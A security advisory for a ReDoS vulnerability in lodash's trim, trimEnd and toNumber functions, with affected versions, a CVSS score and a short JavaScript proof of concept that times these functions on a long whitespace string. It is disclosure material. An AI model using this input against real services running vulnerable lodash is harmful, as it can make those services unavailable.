Medium

Regular Expression Denial of Service (ReDoS) in lodash

  • Disclosed: 06.01.2022
  • Updated: 11.10.2026 10:22

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

js
var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package lodash >= 4.0.0, < 4.17.21 4.17.21
npm package lodash-es >= 4.0.0, < 4.17.21 4.17.21
npm package lodash.trim >= 4.0.0, <= 4.5.1 no fix
npm package lodash.trimend >= 4.0.0, <= 4.5.1 no fix

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE)
CWE-1333, CWE-400
Platform
npm
Package
lodash, lodash-es, lodash.trim
Disclosed
06.01.2022
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-29mw-wpgm-hmr9 - CC BY 4.0

Vulnerability history: lodash.trim

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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